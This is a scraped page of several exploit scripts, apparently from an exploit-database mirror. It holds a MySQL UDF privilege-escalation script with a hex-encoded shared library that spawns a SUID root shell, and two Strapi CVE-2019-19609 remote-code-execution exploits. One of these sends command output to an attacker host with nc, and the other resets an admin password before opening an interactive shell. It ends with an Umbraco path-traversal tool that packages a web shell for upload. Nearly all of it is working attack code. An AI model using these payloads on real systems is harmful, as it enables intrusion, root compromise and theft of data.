00070000001000000000000000000000006817200000000000070000001100000000000000000000007017200000000000070000001200000000000000000000007817200000000000070000001300000000000000000000004883ec08e827010000e8c2010000e88d0500004883c408c3ff35320b2000ff25340b20000f1f4000ff25320b20006800000000e9e0ffffffff252a0b20006801000000e9d0ffffffff25220b20006802000000e9c0ffffffff251a0b20006803000000e9b0ffffffff25120b20006804000000e9a0ffffffff250a0b20006805000000e990ffffffff25020b20006806000000e980ffffffff25fa0a20006807000000e970ffffffff25f20a20006808000000e960ffffffff25ea0a20006809000000e950ffffffff25e20a2000680a000000e940ffffffff25da0a2000680b000000e930ffffffff25d20a2000680c000000e920ffffffff25ca0a2000680d000000e910ffffffff25c20a2000680e000000e900ffffffff25ba0a2000680f000000e9f0feffff00000000000000004883ec08488b05f50920004885c07402ffd04883c408c390909090909090909055803d900a2000004889e5415453756248833dd809200000740c488b3d6f0a2000e812ffffff488d05130820004c8d2504082000488b15650a20004c29e048c1f803488d58ff4839da73200f1f440000488d4201488905450a200041ff14c4488b153a0a20004839da72e5c605260a2000015b415cc9c3660f1f8400000000005548833dbf072000004889e57422488b05530920004885c07416488d3da70720004989c3c941ffe30f1f840000000000c9c39090c3c3c3c331c0c3c341544883c9ff4989f455534883ec10488b4610488b3831c0f2ae48f7d1488d69ffe8b6feffff83f80089c77c61754fbf1e000000e803feffff488d70ff4531c94531c031ffb921000000ba07000000488d042e48f7d64821c6e8aefeffff4883f8ff4889c37427498b4424104889ea4889df488b30e852feffffffd3eb0cba0100000031f6e802feffff31c0eb05b8010000005a595b5d415cc34157bf00040000415641554531ed415455534889f34883ec1848894c24104c89442408e85afdffffbf010000004989c6e84dfdffffc600004889c5488b4310488d356a030000488b38e814feffff4989c7eb374c89f731c04883c9fff2ae4889ef48f7d1488d59ff4d8d641d004c89e6e8ddfdffff4a8d3c284889da4c89f64d89e54889c5e8a8fdffff4c89fabe080000004c89f7e818fdffff4885c075b44c89ffe82bfdffff807d0000750a488b442408c60001eb1f42c6442dff0031c04883c9ff4889eff2ae488b44241048f7d148ffc94889084883c4184889e85b5d415c415d415e415fc34883ec08833e014889d7750b488b460831d2833800740e488d353a020000e817fdffffb20188d05ec34883ec08833e014889d7750b488b460831d2833800740e488d3511020000e8eefcffffb20188d05fc3554889fd534889d34883ec08833e027409488d3519020000eb3f488b46088338007409488d3526020000eb2dc7400400000000488b4618488b384883c70248037808e801fcffff31d24885c0488945107511488d351f0200004889dfe887fcffffb20141585b88d05dc34883ec08833e014889f94889d77510488b46088338007507c6010131c0eb0e488d3576010000e853fcffffb0014159c34154488d35ef0100004989cc4889d7534889d34883ec08e832fcffff49c704241e0000004889d8415a5b415cc34883ec0831c0833e004889d7740e488d35d5010000e807fcffffb001415bc34883ec08488b4610488b38e862fbffff5a4898c34883ec28488b46184c8b4f104989f2488b08488b46104c89cf488b004d8d4409014889c6f3a44c89c7498b4218488b0041c6040100498b4210498b5218488b4008488b4a08ba010000004889c6f3a44c89c64c89cf498b4218488b400841c6040000e867fbffff4883c4284898c3488b7f104885ff7405e912fbffffc3554889cd534c89c34883ec08488b4610488b38e849fbffff4885c04889c27505c60301eb1531c04883c9ff4889d7f2ae48f7d148ffc948894d00595b4889d05dc39090909090909090554889e5534883ec08488b05c80320004883f8ff7419488d1dbb0320000f1f004883eb08ffd0488b034883f8ff75f14883c4085bc9c390904883ec08e86ffbffff4883c408c345787065637465642065786163746c79206f6e6520737472696e67207479706520706172616d657465720045787065637465642065786163746c792074776f20617267756d656e747300457870656374656420737472696e67207479706520666f72206e616d6520706172616d6574657200436f756c64206e6f7420616c6c6f63617465206d656d6f7279006c69625f6d7973716c7564665f7379732076657273696f6e20302e302e34004e6f20617267756d656e747320616c6c6f77656420287564663a206c69625f6d7973716c7564665f7379735f696e666f290000011b033b980000001200000040fbffffb400000041fbffffcc00000042fbffffe400000043fbfffffc00000044fbffff1401000047fbffff2c01000048fbffff44010000e2fbffff6c010000cafcffffa4010000f3fcffffbc0100001cfdffffd401000086fdfffff4010000b6fdffff0c020000e3fdffff2c02000002feffff4402000016feffff5c02000084feffff7402000093feffff8c0200001400000000000000017a5200017810011b0c070890010000140000001c00000084faffff01000000000000000000000014000000340000006dfaffff010000000000000000000000140000004c00000056faffff01000000000000000000000014000000640000003ffaffff010000000000000000000000140000007c00000028faffff030000000000000000000000140000009400000013faffff01000000000000000000000024000000ac000000fcf9ffff9a00000000420e108c02480e18410e20440e3083048603000000000034000000d40000006efaffffe800000000420e10470e18420e208d048e038f02450e28410e30410e38830786068c05470e50000000000000140000000c0100001efbffff2900000000440e100000000014000000240100002ffbffff2900000000440e10000000001c0000003c01000040fbffff6a00000000410e108602440e188303470e200000140000005c0100008afbffff3000000000440e10000000001c00000074010000a2fbffff2d00000000420e108c024e0e188303470e2000001400000094010000affbffff1f00000000440e100000000014000000ac010000b6fbffff1400000000440e100000000014000000c4010000b2fbffff6e00000000440e300000000014000000dc01000008fcffff0f00000000000000000000001c000000f4010000fffbffff4100000000410e108602440e188303470e2000000000000000000000ffffffffffffffff0000000000000000ffffffffffffffff000000000000000000000000000000000100000000000000b2010000000000000c00000000000000a00b0000000000000d00000000000000781100000000000004000000000000005801000000000000f5feff6f00000000a00200000000000005000000000000006807000000000000060000000000000060030000000000000a00000000000000e0010000000000000b0000000000000018000000000000000300000000000000e81620000000000002000000000000008001000000000000140000000000000007000000000000001700000000000000200a0000000000000700000000000000c0090000000000000800000000000000600000000000000009000000000000001800000000000000feffff6f00000000a009000000000000ffffff6f000000000100000000000000f0ffff6f000000004809000000000000f9ffff6f0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000401520000000000000000000000000000000000000000000ce0b000000000000de0b000000000000ee0b000000000000fe0b0000000000000e0c0000000000001e0c0000000000002e0c0000000000003e0c0000000000004e0c0000000000005e0c0000000000006e0c0000000000007e0c0000000000008e0c0000000000009e0c000000000000ae0c000000000000be0c0000000000008017200000000000004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200002e7368737472746162002e676e752e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273696f6e5f72002e72656c612e64796e002e72656c612e706c74002e696e6974002e74657874002e66696e69002e726f64617461002e65685f6672616d655f686472002e65685f6672616d65002e63746f7273002e64746f7273002e6a6372002e64796e616d6963002e676f74002e676f742e706c74002e64617461002e627373002e636f6d6d656e7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0000000500000002000000000000005801000000000000580100000000000048010000000000000300000000000000080000000000000004000000000000000b000000f6ffff6f0200000000000000a002000000000000a002000000000000c000000000000000030000000000000008000000000000000000000000000000150000000b00000002000000000000006003000000000000600300000000000008040000000000000400000002000000080000000000000018000000000000001d00000003000000020000000000000068070000000000006807000000000000e00100000000000000000000000000000100000000000000000000000000000025000000ffffff6f020000000000000048090000000000004809000000000000560000000000000003000000000000000200000000000000020000000000000032000000feffff6f0200000000000000a009000000000000a009000000000000200000000000000004000000010000000800000000000000000000000000000041000000040000000200000000000000c009000000000000c00900000000000060000000000000000300000000000000080000000000000018000000000000004b000000040000000200000000000000200a000000000000200a0000000000008001000000000000030000000a0000000800000000000000180000000000000055000000010000000600000000000000a00b000000000000a00b000000000000180000000000000000000000000000000400000000000000000000000000000050000000010000000600000000000000b80b000000000000b80b00000000000010010000000000000000000000000000040000000000000010000000000000005b000000010000000600000000000000d00c000000000000d00c000000000000a80400000000000000000000000000001000000000000000000000000000000061000000010000000600000000000000781100000000000078110000000000000e000000000000000000000000000000040000000000000000000000000000006700000001000000320000000000000086110000000000008611000000000000dd000000000000000000000000000000010000000000000001000000000000006f000000010000000200000000000000641200000000000064120000000000009c000000000000000000000000000000040000000000000000000000000000007d000000010000000200000000000000001300000000000000130000000000001402000000000000000000000000000008000000000000000000000000000000870000000100000003000000000000001815200000000000181500000000000010000000000000000000000000000000080000000000000000000000000000008e000000010000000300000000000000281520000000000028150000000000001000000000000000000000000000000008000000000000000000000000000000950000000100000003000000000000003815200000000000381500000000000008000000000000000000000000000000080000000000000000000000000000009a000000060000000300000000000000401520000000000040150000000000009001000000000000040000000000000008000000000000001000000000000000a3000000010000000300000000000000d016200000000000d0160000000000001800000000000000000000000000000008000000000000000800000000000000a8000000010000000300000000000000e816200000000000e8160000000000009800000000000000000000000000000008000000000000000800000000000000b1000000010000000300000000000000801720000000000080170000000000000800000000000000000000000000000008000000000000000000000000000000b7000000080000000300000000000000881720000000000088170000000000001000000000000000000000000000000008000000000000000000000000000000bc000000010000000000000000000000000000000000000088170000000000009b000000000000000000000000000000010000000000000000000000000000000100000003000000000000000000000000000000000000002318000000000000c500000000000000000000000000000001000000000000000000000000000000";

shellcode = shellcode_x32
if (platform.architecture()[0] == '64bit'):
 shellcode = shellcode_x64

# MySQL username and password: make sure you have FILE privileges and mysql is actually running as root
# username='root'
# password=''

###
#if len(sys.argv) != 2:
#       print "Usage: %s <username> <password>" % argv[0]

#username=sys.argv[1];
#password=sys.argv[2];
###

parser = argparse.ArgumentParser()
parser.add_argument('--username', '-u', help='MySQL username', type=str, required=True)
parser.add_argument('--password', '-p', help='MySQL password', type=str)

args = parser.parse_args()

username=args.username
password=args.password

if not password:
        password=''

cmd='mysql -u root -p\'' + password + '\' -e "select @@plugin_dir \G"'
plugin_str = subprocess.check_output(cmd, shell=True)
plugin_dir = re.search('@plugin_dir: (\S*)', plugin_str)
res = bool(plugin_dir)

if not res:
 print("Error: could not locate the plugin directory")
 os.exit(1);

plugin_dir_ = plugin_dir.group(1)

print("Plugin dir is %s" % plugin_dir_)

# file to save the udf so file to
udf_filename = 'udf' + str(random.randint(1000,10000)) + '.so'
udf_outfile = plugin_dir_ + udf_filename

# alternative way:
# set @outputpath := @@plugin_dir; set @outputpath := @@plugin_dir;

print("Trying to create a udf library...");
os.system('mysql -u root -p\'' + password + '\' -e "select binary 0x' + shellcode + ' into dumpfile \'%s\' \G"' % udf_outfile)
res = os.path.isfile(udf_outfile)

if not res:
 print("Error: could not create udf file in %s (mysql is either not running as root or may be file exists?)" % udf_outfile)
 os.exit(1);

print("UDF library created successfully: %s" % udf_outfile);
print("Trying to create sys_exec...")
os.system('mysql -u root -p\'' + password + '\' -e "create function sys_exec returns int soname \'%s\'\G"' % udf_filename)

print("Checking if sys_exec was created...")
cmd='mysql -u root -p\'' + password + '\' -e "select * from mysql.func where name=\'sys_exec\' \G"';
res = subprocess.check_output(cmd, shell=True);

if (res == ''):
        print("sys_exec was not found (good luck next time!)")

if res:
        print("sys_exec was found: %s" % res)
        print("Generating a SUID binary in /var/www/bash...")
        os.system('mysql -u root -p\'' + password + '\' -e "select sys_exec(\'cp /bin/bash /var/www/bash && chmod +s /var/www/bash\')"')

        print("Trying to spawn a root shell...")
        os.system("cd /var/www && ./bash -p")
HireHackking 
# Exploit Title: Strapi 3.0.0-beta.17.7 - Remote Code Execution (RCE) (Authenticated)
# Date: 29/08/2021
# Exploit Author: David Utón (M3n0sD0n4ld)
# Vendor Homepage: https://strapi.io/
# Affected Version: strapi-3.0.0-beta.17.7 and earlier
# Tested on: Linux Ubuntu 18.04.5 LTS
# CVE : CVE-2019-19609

#!/usr/bin/python3
# Author: @David_Uton (m3n0sd0n4ld)
# Github: https://m3n0sd0n4ld.github.io
# Usage: python3 CVE-2019-19609.py http[s]//IP[:PORT] TOKEN_JWT COMMAND LHOST

import requests, sys, os, socket

logoType = ('''
=====================================
CVE-2019-19609 - Strapi RCE
-------------------------------------
@David_Uton (M3n0sD0n4ld)
https://m3n0sd0n4ld.github.io/
=====================================
		''')

if __name__ == '__main__':

	# Parameter checking
	if len(sys.argv) != 5:
		print(logoType)
		print("[!] Some of these parameters are missing.")
		print('''
		Use: python3 %s http[s]//IP[:PORT] TOKEN_JWT COMMAND LHOST
		Example: python3 10.10.10.10 eyJHbGCi..... "id" 127.0.0.1''' % sys.argv[0])
	# Exploit run
	else:
		# Paremeters
		url = sys.argv[1]
		token = sys.argv[2]
		command = sys.argv[3]
		lhost = sys.argv[4]
		lport = 9999
		
		s = requests.session()
		
		r = s.post(url, verify=False) # SSL == verify=True
		
		headersData = {
			'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0',
			'Authorization': "Bearer %s" % token
		}

		postData = {
			"plugin":"documentation && $(%s > /tmp/.m3 && nc %s %s < /tmp/.m3 | rm /tmp/.m3)" % (command, lhost, lport)
		}
		
		print(logoType)
		os.system("nc -nvlp 9999 &")
		try:
			print("[+] Successful operation!!!")
			r = s.post(url + "/admin/plugins/install", headers=headersData, data=postData, verify=False) # SSL == verify=True
			# Content print
			print(r.text)
		except:
			print("[!] An error occurred, try again.")
			sys.exit(1)
HireHackking 
# Exploit Title: Strapi CMS 3.0.0-beta.17.4 - Remote Code Execution (RCE) (Unauthenticated)
# Date: 2021-08-30
# Exploit Author: Musyoka Ian
# Vendor Homepage: https://strapi.io/
# Software Link: https://strapi.io/
# Version: Strapi CMS version 3.0.0-beta.17.4 or lower
# Tested on: Ubuntu 20.04
# CVE : CVE-2019-18818, CVE-2019-19609

#!/usr/bin/env python3

import requests
import json
from cmd import Cmd
import sys

if len(sys.argv) != 2:
    print("[-] Wrong number of arguments provided")
    print("[*] Usage: python3 exploit.py <URL>\n")
    sys.exit()


class Terminal(Cmd):
    prompt = "$> "
    def default(self, args):
        code_exec(args)

def check_version():
    global url
    print("[+] Checking Strapi CMS Version running")
    version = requests.get(f"{url}/admin/init").text
    version = json.loads(version)
    version = version["data"]["strapiVersion"]
    if version == "3.0.0-beta.17.4":
        print("[+] Seems like the exploit will work!!!\n[+] Executing exploit\n\n")
    else:
        print("[-] Version mismatch trying the exploit anyway")


def password_reset():
    global url, jwt
    session = requests.session()
    params = {"code" : {"$gt":0},
            "password" : "SuperStrongPassword1",
            "passwordConfirmation" : "SuperStrongPassword1"
            }
    output = session.post(f"{url}/admin/auth/reset-password", json = params).text
    response = json.loads(output)
    jwt = response["jwt"]
    username = response["user"]["username"]
    email = response["user"]["email"]

    if "jwt" not in output:
        print("[-] Password reset unsuccessfull\n[-] Exiting now\n\n")
        sys.exit(1)
    else:
        print(f"[+] Password reset was successfully\n[+] Your email is: {email}\n[+] Your new credentials are: {username}:SuperStrongPassword1\n[+] Your authenticated JSON Web Token: {jwt}\n\n")
def code_exec(cmd):
    global jwt, url
    print("[+] Triggering Remote code executin\n[*] Rember this is a blind RCE don't expect to see output")
    headers = {"Authorization" : f"Bearer {jwt}"}
    data = {"plugin" : f"documentation && $({cmd})",
            "port" : "1337"}
    out = requests.post(f"{url}/admin/plugins/install", json = data, headers = headers)
    print(out.text)

if __name__ == ("__main__"):
    url = sys.argv[1]
    if url.endswith("/"):
        url = url[:-1]
    check_version()
    password_reset()
    terminal = Terminal()
    terminal.cmdloop()
HireHackking 
# Exploit Title: Umbraco CMS 8.9.1 - Path traversal and Arbitrary File Write (Authenticated)
# Exploit Author: BitTheByte
# Description: Authenticated path traversal vulnerability.
# Exploit Research: https://www.tenable.com/security/research/tra-2020-59
# Vendor Homepage: https://umbraco.com/
# Version: <= 8.9.1 
# CVE : CVE-2020-5811

import string
import random
import argparse
import zipfile
import os

package_xml = f"""<?xml version="1.0" encoding="utf-8"?>
<umbPackage>
  <files>
    <file>
      <guid>{{filename}}</guid>
      <orgPath>{{upload_path}}</orgPath>
      <orgName>{{filename}}</orgName>
    </file>
  </files>
  <info>
    <package>
      <name>PoC-{''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))}</name>
      <version>1.0.0</version>
      <iconUrl></iconUrl>
      <license url="http://opensource.org/licenses/MIT">MIT License</license>
      <url>https://example.com</url>
      <requirements>
        <major>0</major>
        <minor>0</minor>
        <patch>0</patch>
      </requirements>
    </package>
    <author>
      <name>CVE-2020-5811</name>
      <website>https://example.com</website>
    </author>
    <contributors>
      <contributor></contributor>
    </contributors>
    <readme><![CDATA[]]></readme>
  </info>
  <DocumentTypes />
  <Templates />
  <Stylesheets />
  <Macros />
  <DictionaryItems />
  <Languages />
  <DataTypes />
  <Actions />
</umbPackage>
"""

parser = argparse.ArgumentParser(description='CVE-2020-5811')
parser.add_argument('--shell', type=str, help='Shell file to upload', required=True)
parser.add_argument('--upload-path', type=str, help='Shell file update path on target server (default=~/../scripts)', default='~/../scripts')
args = parser.parse_args()

if not os.path.isfile(args.shell):
  print("[ERROR] please use a correct path for the shell file.")

output_file = "exploit.zip"

package = zipfile.ZipFile(output_file, 'w')  
package.writestr('package.xml', package_xml.format(filename=os.path.basename(args.shell), upload_path=args.upload_path))
package.writestr(os.path.basename(args.shell), open(args.shell, 'r').read())
package.close()

print(f"[DONE] Created Umbraco package: {output_file}")